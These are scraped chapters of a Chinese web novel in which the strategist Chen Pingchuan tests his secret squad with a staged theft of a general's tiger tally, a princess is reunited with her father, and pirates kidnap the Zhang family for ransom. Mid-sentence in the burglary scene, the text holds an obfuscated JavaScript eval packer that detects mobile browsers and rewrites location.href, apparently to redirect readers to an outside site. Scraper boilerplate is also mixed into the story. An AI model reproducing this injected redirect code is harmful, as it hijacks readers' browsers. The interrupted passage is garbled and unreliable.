又是陈平川,当着所有人的面,喝下了阿魅递过来的一碗“**”,然后用后世的化学知识,解释了那不过是某种植物碱引发的短暂麻痹效果。 他以“科学”为名,为她们正名,给了她们尊严和庇护。 阿魅能用草药救人于濒死,亦能用毒**于无形。 最后一份,代号:“追风”,姓名:马三。 马三是一个看起来油嘴滑舌,满眼都是精明的马贩子。 这家伙胆大包天,竟敢将一批劣马卖给归义军,被发现后,按律当斩。 就在行刑前,他跪在地上,对着前来监斩的陈平川,声泪俱下地求饶,说他可以驯服任何烈马,还能凭着一张嘴和一双腿,打探到任何消息,弄到任何想要的东西。 陈平川看中的,正是他这份无人能及的骑术,和那张能把**说活的嘴,以及遍布西域的情报网络。 于是,他留了他一命。 从此,马三便成了团队的情报员和“润滑剂”,专门负责处理那些见不得光的外务。 这六个人,每一个,都曾被这个世界无情地抛弃。 是陈平川,将他们从绝望的泥沼中,一个个亲手拉了出来,给了他们活下去的理由,和重新抬起头做人的尊严。 因此,他们的忠诚,早已无需考验。 那份忠诚,已经刻进了他们的骨髓,融入了他们的血液。 陈平川将这支队伍,命名为“暗影六子”。 不设官职,不入军籍,不为人知。 只直接听命于他一人。 陈平川深吸一口气,走到书房门口,对着空无一人的院子,轻轻拍三下手掌。 片刻之后,六道身影,如同从阴影中浮现的鬼魅,无声无息地出现在院中,单膝跪地。 “参见主公!” 声音整齐划一,带着一股冰冷的肃杀之气。 陈平川看着他们,眼中露出一丝满意的神色。 “都起来吧。” “是!” 六人起身,静立原地,等待着命令,仿佛六尊没有感情的雕像。 “成立至今,你们只执行过一些刺探情报,清除探子的零散任务。”陈平川缓缓开口,声音不大,却清晰地传到每个人耳中,“你们的配合,你们的实战能力,还未经过真正的检验。” “今夜,我交给你们第一个正式的任务。” 第267章 全员集结!目标,虎符! 六人的眼神,瞬间变得锐利起来。 陈平川的目光扫过他们每一个人,一字一顿地说道:“去张烈将军的府邸,把他卧室床下暗格里的虎符,给我取回来。” 此言一出,饶是这六个心志坚定之人,也不由得齐齐一震。 虎符? 那可是调动归义军的最高信物! 背着将军,去戒备森严的将军府,偷虎符? 这……这和谋反有什么区别? 他们虽然惊讶,但没有一个人开口质疑。 陈平川看着他们的反应,继续说道:“记住,不能惊动任何人,不能伤害任何人。我要你们,像一阵风,吹过将军府,除了虎符,什么都不要留下。” 他顿了顿,补充道:“虎符放在一个紫檀木的盒子里,盒子上有三道锁。暗格的开关,在床头第三块砖下面。” 将位置都说得如此清楚,这让六人更加疑惑。 但命令就是命令。 “属下遵命!” 六人再次单膝跪地,声音里没有半分犹豫。 “去吧。”陈平川挥了挥手,“我在这里,等你们回来。” “是!” 六道身影,再次融入黑暗,消失得无影无踪。 陈平川转身回到书房,给自己倒了一杯茶,静静地坐下。 他知道,张烈的府邸,防卫之严密,几乎等同于龙潭虎穴。 这次任务,是对“暗影六子”能力的一次终极考验。 更是对他们忠诚的一次最后确认。 如果他们成功了,他将拥有一把无坚不摧的利刃。 如果他们失败了,甚至被当场擒获…… 陈平川的眼神,变得冰冷。 那他会毫不犹豫地,亲自出手,将这六个人,连同这个秘密,一同抹去。 他不能允许自己的计划,出现任何不可控的因素。 夜,越来越深了。 军师府里,灯火通明。 陈平川端着茶杯,看着窗外的月色,静静地等待着结果。 …… 子时,夜色如墨。 张烈将军的府邸,坐落在敦煌城的中心,占地广阔,庭院深深。 府外,一队队手持长矛的亲兵,正一丝不苟地来回巡逻,脚步声整齐划一,在寂静的夜里,传出很远。 府内的明哨暗哨,更是星罗棋布,几乎没有任何死角。 任何一只飞鸟掠过,都逃不过那些隐藏在暗处的锐利眼睛。 此时,在将军府外一条偏僻的巷子里,六道黑影,正贴着墙根,观察着府内的动静。 “追风,情况如何?”“鬼影”玲儿的声音,压得极低,如同耳语。 “啧,这老将军,睡觉都不安生。”马三撇了撇嘴,压低声音回道,“府外巡逻队,一刻钟一轮换,每队十二人。府内,光是我看到的暗哨,就不下二十个。个个都是军中好手,不好弄。” “最麻烦的,是那几条狼犬。”马三指了指院墙的几个角落,“鼻子比狗还灵,咱们只要一靠近,它们立马就能叫唤起来。” “毒蛇,有办法吗?”玲儿转向一旁的阿魅。 阿魅从怀里掏出几个小纸包,递了过去。 “特制的**香,混了狗最讨厌的草药。点燃后,能让它们睡上一个时辰。” “好东西!”马三眼睛一亮,接了过来。 “猿臂,看你的了。”玲儿又看向那个如同铁塔般的壮汉,石头。 石头憨厚地点了点头,没有说话,只是拍了拍自己宽厚的肩膀。 玲儿会意,对着其他人打了个手势。 行动开始! 马三像一只灵猫,悄无聲息地窜了出去。 他利用巡逻队换防的间隙,将那几个带着**香的纸包,精准地扔到了院墙内的几个角落。 片刻之后,那几只原本还警惕地竖着耳朵的狼犬,便接二连三地打起了哈欠,最后软绵绵地趴在地上,沉沉睡去。 解决了最大的麻烦,玲儿对着石头点了点头。 石头走到墙角,双腿微微下蹲,双臂在身前交叉,形成了一个稳固的踏板。 玲儿深吸一口气,身形如同一片没有重量的羽毛,脚尖在石头的臂膀上轻轻一点。 石头猛地发力,向上一抬! 玲儿的身体,瞬间拔地而起,如同飞燕投林,悄无声息地越过了三米多高的院墙,消失在墙内。 与此同时,“苍鹰”燕飞,已经用一把特制的飞爪,攀上了对面一座酒楼的屋顶。 他趴在屋脊上,取出一支小巧的单筒望远镜,将整个将军府的布局,尽收眼底。 他时不时地,会学几声夜枭的叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146283|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 时而急促,时而舒缓。 这是他们事先约定好的暗号,代表着府内巡逻队的动向。 有了燕飞这只“眼睛”在天上盯着,潜入府内的玲儿,便如同在自家的后花园散步。 她总能在巡逻队到来之前,提前一步,闪身躲入假山、树丛的阴影之中。 她的动作,轻盈到了极致,落地无声,甚至没有惊动一片树叶。 很快,她便根据陈平川给出的信息,摸到了主卧的院子外。 这里的防卫,比外面更加森严。 院门口,八名亲兵,如同门神一般,手按刀柄,肃然而立。 院墙上,更是布满了各种不易察觉的机关陷阱。 玲儿蹲在暗处,没有轻举妄动。 她知道,硬闯,绝无可能。 她蹲在墙角,模仿着夜莺的叫声,发出三长两短的鸣叫。 高处,负责警戒的“苍鹰”燕飞立刻会意。他从箭囊中抽出一支没有箭头的箭矢,搭在弓上,对着院子另一头屋檐上挂着的一串风铃,松开了弓弦。 “叮铃铃——” 一阵清脆的响声在寂静的夜里突兀地响起。 “什么人?” “过去看看!” 院门口的八名亲兵立刻被吸引,分出四人,警惕地朝着声音来源的方向摸去。剩下四人的注意力,也完全被吸引了过去。 就是这个机会! 玲儿的身影化作一道几乎与黑暗融为一体的虚影,几个闪烁间,便悄无声息地贴近了主卧的窗下。 她用指尖沾了些许口水,捅破了薄薄的窗户纸,向内窥探。 只见烛光摇曳,张烈将军并未安睡,而是坐在床边,正用一块鹿皮,仔细地擦拭着他的佩剑。那张饱经风霜的脸上,满是专注与追忆。 玲儿不敢耽搁,从怀中取出一根细小的竹管,将阿魅交给她的**粉末填入其中,对准窗纸上的小孔,轻轻一吹。 一股无色无味的烟气,悄然飘入房中。 张烈擦拭的动作微微一顿,似乎察觉到了什么,但他只来得及皱了下眉,眼皮便开始沉重,最终头一歪,伏在桌边,沉沉睡去。 玲儿确认药效已经完全发作,用头上的木簪,熟练地拨开窗栓,灵巧地翻身入内,整个过程,没有发出一丝声响。 第268章 利刃出鞘试忠骨,故人万里赴雄关 玲儿推门而入,径直走到床边。 她看着沉睡中的张烈,眼中没有丝毫波澜,转身找到了床头的第三块砖。 果然,砖下有一个小巧的开关。 她轻轻一按。 床下,一块地板,无声地滑开,露出了一个黑漆漆的洞口。 洞口里,静静地躺着一个紫檀木的盒子。 玲儿刚将盒子取出,便听到了燕飞的信号,守卫要回来了! 她立即将盒子收好,赶在亲兵们回到原位之前,已经悄然无声地翻过了院墙。 等玲儿翻过墙壁,回到那条偏僻的小巷时,马三早已等候在此,急切地问道:“搞定?” 玲儿晃了晃手中的紫檀木盒,面带得色。 “漂亮!”马三吹了声口哨,“收工!” 从潜入到得手,整个过程,行云流水,配合得天衣无缝。 时间,连一炷香都不到。 两人不敢耽搁,立刻按照原路,悄然退出了将军府,与其他人在一处隐秘的角落汇合。 马三将盒子交给全伯。 “老龟,你能打开吧?” 全伯看着盒子上的三道精巧的锁,赞叹了一声:“好手艺。” 随即,他从工具包里,取出了三把造型各异的钥匙。 “咔哒,咔哒,咔哒。” 三声轻响,盒子应声而开。 结果几个人看到盒子里面,全都愣住了。 只见里面并没有什么虎符,只有一张纸条,上面是陈平川给他们的留言。 “回来见我。” …… 军师府。 陈平川面前的茶,已经换了第三杯。 他看了一眼窗外的更漏,时间,刚好过去一炷香。 就在这时,房门被轻轻敲响。 “进。” 六道身影,再次出现在他的面前。 “鬼影”玲儿上前一步,将那个紫檀木盒,恭敬地呈上。 “主公,我们回来了。” 陈平川的目光,在六人身上一一扫过。 他们身上,没有一丝伤痕,气息平稳,甚至连衣角都没有半点褶皱。 将军府那边也没有传来动静,他满意地点了点头,接过了盒子。 “恭喜你们,通过考验。” 六人面面相觑,先是错愕,随即是恍然大悟,最后,每个人的脸上,都露出了更加狂热和信服的神情。 原来,这根本就是主公设下的一个局! 一个用来检验他们能力和忠诚的局! 他们不仅没有丝毫被欺骗的感觉,反而感到一阵后怕和庆幸。 后怕的是,如果他们刚才有任何一丝的犹豫和异心,恐怕此刻,已经是一具尸体了。 庆幸的是,他们,通过了主公的考验! “从今天起,你们就是我陈平川,最信任的人。” 陈平川站起身,看着他们,声音无比郑重。 “你们的刀锋所向,便是我意志的延伸。” “属下,万死不辞!” 六人齐齐单膝跪地,声音铿锵有力,在寂静的夜里,回荡不休。 陈平川看着他们,嘴角终于露出了一丝真正的笑容。 现在,他终于有了一把,可以掌握在自己手中,随时可以出鞘的,真正的利刃了。 …… 秋风送爽,吹黄了敦煌城外的胡杨林。 一支规模庞大的商队,悬挂着一面“张氏商号”的大旗,在一阵阵清脆的驼铃声中,缓缓朝着敦煌城门驶来。 商队绵延数里,上百匹骆驼满载着货物,用油布盖得严严实实,看不清里面是什么。 赶路的伙计,一个个风尘仆仆,皮肤黝黑,但眼神却十分精悍,腰间鼓鼓囊囊,显然都带着兵器。 这样一支商队,无论走到哪里,都会引起旁人的注意。 城门下,负责盘查的归义军士兵,立刻警惕起来,拦住了商队的去路。 “站住!什么人的商队?来敦煌做什么?”为首的队率,手按刀柄,厉声喝问。 一个身材魁梧,满脸虬髯的汉子,从队伍中走了出来,正是黑风寨的二当家,铁牛。 他身后,还跟着一个沉默寡言,但眼神锐利的中年人,哑巴叔。 “军爷,我们是从中原来的商队,贩运些丝绸茶叶,想来敦煌换些皮货。”铁牛咧着嘴,露出一口白牙,从怀里掏出了一袋沉甸甸的碎银子,想要塞过去。 那队率却脸色一沉,毫不客气地推开了他的手。 “少来这套!我们归义军,不吃这个!” “如今是非常时期,所有入城人员货物,都必须经过严格盘查!” 铁牛碰了一鼻子灰,心里有些不爽,但也没发作。 他知道,这里是陈平川的地盘,规矩大得很。 一旁的哑巴叔,没有说话,只是从怀中,取出了一封信,递了过去。 那队长狐疑地接过信,打开一看,脸色瞬间就变了。 信上的字迹,他认得,上面有陈军师的亲笔签名! 而信封的落款处,盖着一枚小小的,代表军师本人的私印。 “原来是军师的贵客!失敬失敬!” 队率的态度,立刻来了一百八十度的大转弯,他连忙对着铁牛和哑巴叔抱拳行礼,脸上堆满了笑容。 这章没有结束,请点击下一页继续阅读!“小的有眼不识泰山,冲撞了二位,还望海涵!” 他侧过身,对着手下大吼一声:“都把家伙收起来!放行!快放行!” 守城的士兵们,立刻让开了一条道路。 商队畅通无阻地进入了敦煌城。 铁牛看着那队率前倨后恭的模样,心里啧啧称奇。 他娘的,陈平川这小子,在西域混得可以啊!光凭一封信,就跟圣旨一样好使。 商队在士兵的指引下,径直朝着城中的军师府驶去。 一路上,铁牛好奇地打量着这座传说中的西域名城。 街道宽阔整洁,两旁的店铺鳞次栉比,人来人往,热闹非凡。 城中的百姓,无论是汉人还是胡人,脸上都带着安居乐业的笑容,丝毫看不出这里刚刚经历过一场大战。 更让他惊讶的是,街上巡逻的士兵,军容严整,纪律严明,比他见过的任何一支大业朝的官军,都要有精气神。 “这小子,还真有两下子。”铁牛在心里暗自嘀咕。 很快,军师府到了。 陈平川得到通报,立即带着祝衡,走出来迎接。 当他看到那两个熟悉的身影时,脸上露出了由衷的笑容。 “铁牛哥,哑巴叔,一路辛苦了!” 铁牛跳下骆驼,上下打量着陈平川。 三年多不见,眼前的年轻人,比离开黑风寨时,更高了一些,也更黑了一些,但那双眼睛,却越发的明亮和深邃,举手投足间,带着一股让人不敢小觑的沉凝气度。 “哼,你小子!”铁牛重重地哼了一声,走上前,一拳捶在陈平川的胸口,“在西域当你的土皇帝,倒是快活!知不知道,山寨里大家伙有多担心你!” 话是这么说,但他的眼眶,却微微有些发红。 陈平川硬挨了他一拳,不以为意,笑着拍了拍他的肩膀。 “铁牛哥,几年不见,你这嘴皮子功夫,倒是见长啊。” “三娘呢?她一切可好?” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第269章 父女团聚,郡主认母 提到凤三娘,铁牛的脸色,变得有些古怪。 他嘟囔了一句:“好,好得很!就是天天站在山顶上往西边看,都快成望夫石了!” 陈平川闻言,心中一暖,笑了笑,没有再追问。 铁牛似乎不想在这个话题上多说,他侧过身,让开了道路。 一辆满是风尘的马车,出现在众人面前。 祝衡的呼吸,在这一刻,猛地一窒。 他的目光,死死地盯着那辆马车,身体因为激动,而微微颤抖起来。 车帘,被一只纤细的手,缓缓掀开。 一位身着素衣,面带风霜,却依旧难掩那份绝代风华的少女,从车上走了下来。 她抬起头,那双清澈的眸子,在人群中,一眼就找到了那个熟悉而又有些陌生的身影。 那个曾经伟岸如山,为她遮风挡雨的父亲。 他瘦了,头发也白了许多。 身上穿着的,不再是那象征着尊贵身份的王袍,而是一件粗犷的异族服饰。 但他的腰杆,却比以前,挺得更直了。 “父……父王……” 昭华郡主的声音,带着哽咽和颤抖。 “昭华!” 祝衡再也控制不住自己的情绪,大步流星地冲了过去。 “我的女儿!” 昭华郡主的眼泪,瞬间决堤。 她像一只乳燕投林,飞奔过去,一头扎进了那个日思夜想的,温暖而坚实的怀抱。 “父王!真的是你!女儿……女儿好想你!” 她紧紧地抱着自己的父亲,仿佛一松手,眼前的一切,就会化为泡影。 “是父王不好……是父王不好……” 祝衡抱着失而复得的女儿,双目含泪,这个在千军万马面前都面不改色的汉子,此刻,却哭得像个孩子。 父女二人,在异乡的土地上,历经生死,终于重逢。 周围的人,看着这感人的一幕,都默默地闭上嘴,不忍打扰。 就连一向粗线条的铁牛,也感觉鼻子有些发酸,偷偷用粗糙的手背,抹了抹眼角。 他娘的,这沙子,真迷眼睛。 …… 久别重逢的激动,在泪水中缓缓平复。 昭华郡主终于从父亲的怀抱里抬起头,她擦了擦眼泪,脸上露出了一个劫后余生的笑容。 然而,当她的目光,落到祝衡身边,那位一直默默站立,眼神复杂地看着她们的异族女子时,她脸上的笑容,瞬间凝固了。 那是一个非常美丽的女人,年约三十,身披一张洁白的狼皮,五官立体而深刻,眉宇间带着一股不屈的英气。 她看着自己的眼神,很复杂。 有欣慰,有关切,还有一丝紧张。 昭华不是傻子。 她瞬间就明白了什么。 再联想到父亲身上那件明显不属于汉人的华丽王袍,一股难以言喻的复杂情绪,涌上了她的心头。 她的心,一下子变得很乱。 祝衡敏锐地察觉到了女儿的情绪变化,心中顿时一紧。 他最担心的,就是这一刻。 他生怕女儿无法接受阿丽娜,生怕这刚刚重逢的喜悦,会因此蒙上一层阴影。 他张了张嘴,正想开口解释。 阿丽娜却主动地,走上前了一步。 她看着眼前这个比自己想象中还要美丽柔弱的女孩,脸上没有丝毫月氏女王的架子,更没有一个“后母”的威严。 她的眼神,温柔得像南山的湖水。 她主动伸出手,想要去拉昭华的手。 “你就是昭华吧?”她的声音,带着草原民族特有的爽朗和真诚,汉话说得虽然有些生硬,但却很好听,“真漂亮,就像天山顶上,最干净的雪莲花。” “你别怕,我叫阿丽娜。” 昭华本能地,想要后退一步,避开她的触碰。 但当她看到阿丽娜眼中那份坦荡和真诚时,她的脚步,却像是被钉在了原地。 那是一双,不会骗人的眼睛。 阿丽娜见她没有躲闪,胆子也大了一些,轻轻地,拉住了她的手。 她的手,很温暖,也很粗糙,带着常年拉弓射箭留下的老茧,却让人感觉很安心。 “你父亲啊,天天在我耳边念叨你。”阿丽娜的脸上,露出了一个无奈又宠溺的笑容,“我的耳朵,都快被他念出茧子来了。他说他的昭华,是世界上最乖巧,最懂事的女儿。” 这番话,说得如此自然,如此亲切,仿佛她们不是第一次见面,而是一对相识多年的姐妹。 昭华心中的那份抵触和戒备,在不知不觉中,消融了许多。 她下意识地,抬头看向自己的父亲。 她发现,父亲虽然穿着异族的服饰,但他的眼神,却充满了她从未见过的光彩。 那是一种,发自内心的,轻松和快乐。 尤其是在他看向身边这位名叫阿丽娜的女人时,那眼神里的温柔和爱意,是根本无法掩饰的。 在京城时,她的父亲,是大业朝的秦王。 位高权重,一人之下,万人之上。 但昭华知道,他不快乐。 他就像一只被关在华丽笼子里的雄鹰,空有一身抱负,却处处受到掣肘。 本小章还未完,请点击下一页继续阅读后面精彩内容!只能困在庐州府方巴掌大的地方,消磨着雄心壮志。 他的脸上,总是带着挥之不去的忧郁和沉重。 可是现在,他变了。 他眼中的枷锁,消失了。 取而代之的,是一种挣脱了牢笼,重获新生的光芒。 他不再是那个被囚禁的秦王了。 他是在这片广阔的天地间,自由翱翔的雄鹰。 而眼前这个女人,就是与他并肩齐飞的,另一只鹰。 “郡主。” 陈平川的声音,适时地响了起来。 他走到昭华身边,笑着轻声说道:“王爷在这里,找到了新的责任,和新的归宿。” “你看,他现在可比在中原时,要开心多了。” “我们都应该为他高兴,不是吗?” 陈平川的话,像一把钥匙,打开了昭华心中最后一道锁。 是啊。 自己到底在纠结什么呢? 只要父亲能够开心,能够平安,不就足够了吗? 他所承受的苦难,已经太多太多了。 自己作为女儿,又有什么资格,去要求他继续背负着那些沉重的过去,孤独地走下去呢? 想通了这一点,昭华只觉得豁然开朗。 她的眼泪,再次不争气地滑落下来。 但这一次,不再是悲伤,也不是委屈。 而是释然,是祝福。 她看着眼前这位,眼神依旧有些忐忑的异族女王。 她挣脱了阿丽娜的手,然后,在所有人惊讶的目光中,对着阿丽娜,盈盈一拜,行了一个晚辈对长辈的大礼。 “昭华,见过……母亲。” 这一声“母亲”,虽然还有些生涩,但却无比的清晰,无比的真诚。 “轰!” 这简简单单的两个字,却像一道惊雷,在阿丽娜的脑海中炸响。 她整个人都愣住了,呆呆地看着眼前的女孩。 她想过很多种可能。 想过昭华会不理她,会怨恨她,甚至会当众给她难堪。 她都做好了准备。 可她唯独没有想到,会是这样一种结果。 这个看起来柔柔弱弱的汉人女孩,竟然有如此宽广的胸襟。 一股巨大的暖流,瞬间涌遍了阿丽娜的全身。 她的眼圈,一下子就红了。 她再也控制不住自己的情绪,一把将昭华,紧紧地,紧紧地拥入怀中。 “我的好女儿!我的好女儿!” 这个在战场上流血都不流泪的草原女王,此刻,哭得泣不成声。父女团聚,郡主认母 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第270章 家书泣血,张家出大事了! 一旁的祝衡,更是老怀大慰,激动得浑身发抖。 他看着相拥而泣的两个女人,只觉得胸中一股豪气直冲云霄。 他仰起头,对着苍天,发出了畅快淋漓的大笑声! “哈哈哈哈!好!好啊!” 笑声中,带着无尽的喜悦和释然。 家,终于完整了。 陈平川看着这一幕,脸上也露出了欣慰的笑容。 祝衡和阿丽娜的结合,得到了女儿的祝福,这意味着,归义军和白羚部,这两个西域新兴的势力,将再也没有任何隔阂,真正地融为一体。 这第一喜,是亲情团圆。 这第二喜,是联盟稳固。 陈平川的心情,也跟着好了起来。 …… 夜深人静。 军师府的书房内,灯火依旧。 陈平川、铁牛、哑巴叔三人,围着一张方桌,相对而坐。 白天的喧嚣和喜悦已经散去,此刻的气氛,显得有些凝重。 “说吧,铁牛哥。”陈平川亲自为两人倒上美酒,“我离开这几年,中原那边,是不是发生了什么大事?” 铁牛端起酒碗,一饮而尽,辛辣的酒液,让他那张黑脸,泛起了一丝红晕。 他从怀里,小心翼翼地掏出一个用油纸包得严严实实的小包,打开后,里面是一封封信件。 “这是你家里的信,这是张静姝那丫头的,还有一张,是张若素姑娘写的……” 铁牛将几封信,推到陈平川面前,神色,前所未有的严肃。 “平川,中原,是越来越乱了。” 陈平川的心,猛地一紧。 他没有说话,只是默默地拿起最上面那封,信封上写着“兄长亲启”的信。 熟悉的娟秀字迹,是妹妹陈平玉写的。 他拆开信封,一目十行地看了起来。 铁牛又给自己灌了一口烈酒,组织语言,沉声开始讲述他们离开之后,中原发生的种种变故。 第一个消息,便让陈平川心里,暗自松了一口气,也感到一阵后怕。 在他和祝衡一路西逃之后不久,正如他所预料的那样,京城的梁太后,便下达了旨意。 一支由禁军精锐组成的队伍,星夜兼程,直扑庐州府。 他们的目的很明确,就是要将秦王和陈平川的家眷,一网打尽,斩草除根! 梁家的人,做事向来这么绝。 幸好,陈平川棋高一着。 在他离开庐州之前,就已经让凤三娘提前做了安排。 就在那支禁军抵达庐州的前一天晚上,黑风寨的人,便悄无声息地,将陈家、张家,以及张若素和她的家人,连夜转移到了固若金汤的黑风寨中。 甚至,连几家人府里的值钱家当,都搬得一干二净,连根毛都没给朝廷留下。 于是,当那支禁军杀气腾腾地扑到庐州时,只扑了个空。 带队的禁军将领,气得当场拔刀,砍断了院子里的一棵无辜的桂花树。 找不到人,总要有人来承担梁太后的怒火。 于是,倒霉的,便是庐州府的那些官员。 那位将领以“剿逆不力”的罪名,将庐州府衙上下,从知府到小吏,全都抓了起来,严刑拷打,整个官场,几乎被清洗了一遍。 很快,朝廷便派来了一位新的庐州知府。 一个名叫李汶洛的家伙。 此人是梁党的核心成员,是梁越的表亲,出了名的心狠手辣,贪婪无度。 李汶洛一到任,便立刻下令,将陈平川当初在庐州实行的一切善政,全部推翻! 什么“以工代赈”,什么“官府统购”,统统作废! 苛捐杂税,重新恢复,甚至变本加厉,巧立名目,增设了一项闻所未闻的“剿逆税”。 美其名曰,是用来筹集军费,清剿陈平川和秦王的“余党”。 实际上,就是将整个庐州的百姓,当成了他自己的钱袋子,疯狂地搜刮民脂民膏。 庐州的百姓,刚刚过了几天好日子,转眼间,便再度陷入了水深火热之中。 一时间,怨声载道,苦不堪言。 一些曾经受过陈平川提拔和恩惠的,尚有良知的正直官员,试图联名上书,劝阻李汶洛。 结果,可想而知。 轻则,被直接罢官免职,赶回家乡。 重则,被李汶洛罗织各种罪名,打入大牢,家产抄没。 整个庐州府,再度陷入了那种暗无天日的境地。 百姓们在私下里,无不切齿痛骂李汶洛和梁家,也无不怀念那个,曾经给他们带来过光明和希望的陈解元。 听到这里,陈平川的脸色,已经阴沉得快要滴出水来。 他手中的信纸,被捏得死死的,指节因为用力,咯咯作响! 他一手建立起来的庐州新政,他好不容易为百姓争来的一点喘息之机,竟然,就这么被那帮混蛋,如此轻易地摧毁了! 他的人民,他视若家人的庐州百姓,竟然在遭受着这样的苦难! 一股冰冷的杀意,从他的心底,疯狂地滋生出来。 李汶洛……梁家…… 他将这个名字,死死地刻在了心里。 这章没有结束,请点击下一页继续阅读!铁牛看着他那副骇人的模样,心里也是一阵叹息。 他拍了拍陈平川的肩膀,安慰道:“你先别急着上火,听我说完。” “你家里人,都很好。三娘把他们都当成亲人一样照顾着,在山寨里,大家也都客客气气的。” “你娘她知道你平安无事,还在西域这边干出了这么大的名堂,高兴得哭了好几场。现在天天在后山观音庙里烧香拜佛,为你祈福呢。” 听到家人的消息,陈平川心中的杀意,才稍稍平复了一些。 他拿起第二封信,是张若素写的。 信里的内容,和铁牛说的差不多,只是更加详细地描述了庐州的现状,以及对未来的担忧,字里行间,充满了忧国忧民的情怀。 最后,她只是叮嘱他,在西域万事小心,不要冲动,留得青山在,不怕没柴烧。 陈平川看完,心中五味杂陈。 他将信纸小心地折好,看向了最后一封。 张静姝的信。 信封很薄,似乎只有一页纸。 他拆开信封,里面,果然只有一张信纸。 娟秀的小楷,是他熟悉的字迹。 但那字迹,却显得有些凌乱,甚至有好几处,都被泪水浸染,变得模糊不清。 陈平川的心,又一次提了起来。 一旁的铁牛,脸上的神色,也变得无比沉重。 他端起酒碗,又是一口闷干,然后用一种近乎沙哑的声音,说道: “平川,你家没事。” “但是,张家……” “出大事了。” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第271章 陈平川震怒:我的人也敢动?! 陈平川的目光,紧紧地钉在张静姝那几行被泪水浸染的字上。 铁牛的声音,仿佛从一个很遥远的地方传来,带着一股压抑不住的愤怒。 原来,那个新来的知府李汶洛,在掌控了庐州之后,便对所有和陈平川有过关联的人,都进行了疯狂的报复性打压。 张家,作为陈平川最坚定的支持者和未来的亲家,自然是首当其冲。 李汶洛随便找了个“通逆”的罪名,就查封了张盛财在庐州城里所有的店铺,抢走了他库房里所有的货物。 一夜之间,庐州首富,变得一无所有。 张盛财为人精明,也很有骨气。 他知道,庐州,已经是一个死局。 只要梁家不倒,只要李汶洛还在,他就永无翻身之日。 他不甘心就这么落魄下去。 在和家人商议之后,他做出了一个大胆的决定。 他听说,大业朝东南沿海的江徽府,因为海贸繁荣,遍地是黄金。 他想带着儿子张金宝,去那边闯出一条新的生路,为日后东山再起,积累资本。 于是,他将妻子孙夫人和女儿张静姝,托付给了黑风寨照料。 自己则带着手里最后的家产,和张金宝一起,毅然南下。 然而,他们父子俩,严重低估了江徽府的混乱程度。 那个地方,天高皇帝远,官府腐败无能,海防更是形同虚设。 正是倭寇最猖獗,最无法无天的地方。 父子俩初来乍到,人生地不熟。 在一笔丝绸交易中,他们出手阔绰,很快,就被一伙假扮成海商的倭寇给盯上了。 在一个月黑风高的夜晚,那伙倭寇,露出了狰狞的獠牙。 他们手持倭刀,杀进了张盛财父子下榻的货栈。 货栈的伙计,当场就被砍死了好几个。 张盛财见状不妙,马上带着张金宝逃跑,可惜货栈已经被包围,最终,父子二人被擒。 连同他们带来的所有财物,都被倭寇洗劫一空,然后被掳上了一艘快船,带到了茫茫大海之上的一座荒岛。 几天后,一个神秘人,找到了在黑风寨焦急等待消息的孙夫人。 他带来了一封信,和张盛财的印章。 信是倭寇写的,他们索要十万两白银的天价赎金。 并威胁说,一个月内,如果看不到钱,就等着给张盛财父子收尸。 孙夫人当场就吓晕了过去。 醒来后,她哭得死去活来,爱夫心切的她,哪里还顾得上别的? 她唯一的念头,就是救回自己的丈夫和儿子。 罗氏和凤三娘,知道消息后,也是又惊又怒。 她们一边安慰孙夫人,一边想办法。 凤三娘拿出了自己的积蓄,罗氏也掏空陈家的家底,孙夫人更是变卖了自己所有的首饰和产业。 东拼西凑,好不容易,才凑齐了十万两白银。 她们按照倭寇的要求,将银子,交给了那个神秘的联络人。 然而,她们把倭寇想得太简单了。 这些毫无人性的畜生,在收了钱之后,却根本没有半点要放人的意思。 他们贪得无厌,见张家竟然真的能拿出这么多钱,便认定了他们是条大鱼。 于是,他们派人传回了第二封信。 这一次,他们狮子大开口,赎金,直接翻了一倍! 二十万两! 而且,时间,还是一个月! 这一下,孙夫人彻底绝望了。 她一个妇道人家,已经倾家荡产,哪里还有能力,去满足这无底洞一般的贪欲? 她整日以泪洗面,人都快要疯了。 而张静姝,因为父亲和兄长身陷囹圄,生死未卜,更是日夜啼哭,茶饭不思,短短半个月,整个人都瘦了一大圈,憔悴得不成样子。 她跪着求凤三娘,求她出兵,去救自己的父兄。 但凤三娘,也有自己的苦衷。 黑风寨的根基在庐州,势力范围,根本延伸不到千里之外的东南沿海。 更何况,她手下这几千人的身家性命,都系于她一人之身。 她不能为了一个人,就贸然带着兄弟们,去一个完全陌生的地方,进行一场毫无胜算的远征。 她只能派人去江徽府那边打探消息,但得到的回音,都石沉大海。 正当所有人都一筹莫展,陷入绝望之际。 陈平川派人送来报平安的信,到了。 还是张若素心思缜密,她看着几乎要崩溃的张静姝,对她说了一句话。 “静姝妹妹,你先别哭。” “此事,普天之下,恐怕也只有平川能解决!” 张静姝仿佛在无尽的黑暗中,看到了一丝光亮。 她含着血泪,给陈平川写下了这封求救信。 信的末尾,她写下的最后一行字。 “平川哥哥,若不能救回父兄,静姝唯有一死,随他们而去。” “来生,再报你恩情。” “轰!” 一股难以抑制的狂暴怒火,瞬间从陈平川的胸中,炸裂开来! 他感觉自己的血液,在这一刻,都燃烧了起来! 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“砰!” 陈平川的拳头重重捶在面前那张用上好铁木打造的方桌上,铁牛和哑巴叔,都被这突如其来的变故,吓了一大跳。 他们抬起头,看到了一双,他们从未见过的,赤红色的眼睛。 那双眼睛里,燃烧着的是足以焚尽一切的,滔天怒火! 一股冰冷而骇人的杀气,从陈平川的身上,猛地爆发出来,瞬间充斥了整个房间。 房间里的温度,仿佛都下降了好几度。 